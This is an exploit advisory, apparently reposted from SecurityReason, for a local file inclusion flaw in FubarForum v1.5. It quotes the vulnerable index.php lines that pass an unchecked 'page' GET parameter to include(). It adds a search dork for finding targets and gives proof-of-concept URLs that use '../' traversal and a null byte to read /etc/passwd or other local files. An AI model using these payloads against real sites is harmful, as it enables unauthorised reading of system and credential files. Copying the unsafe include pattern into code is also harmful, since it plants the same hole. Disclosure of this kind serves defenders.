SecurityReason - FubarForum 1.5 (index.php page) Local File Inclusion Vulnerability ( Exploit )

Exploit Code :

###########################################################################
########
#
# Name : FubarForum v1.5 Local File Inclusion Vulnerability
# Author : cOndemned
# Dork : for ex. "Powered by FubarForum v1.5"
# Greetz : TBH, GregStar, ZaBeaTy, irk4z, Hawk, Sandtalker & Avantura ;*
#
###########################################################################
########

Source :

// index.php

5. if (!empty($_GET['page'])) { $page = $_GET['page']; } //
<---- $page is being sended using GET method

91. if (file_exists("./".$page.".php")) { // <---- if only the
file exists and we can use null byte (%00)

98. include("./".$page.".php"); // <---- our file will
be included here :))

PoC :

http://[host]/[fubarforum_path]/index.php?page=../../../../etc/passwd%00

http://[host]/[fubarforum_path]/index.php?page=../../../../[local_file]%00

###########################################################################
########
#
# Together We stand tall, not gonna crash, not gonna fall - Children of
Bodom
#
###########################################################################
########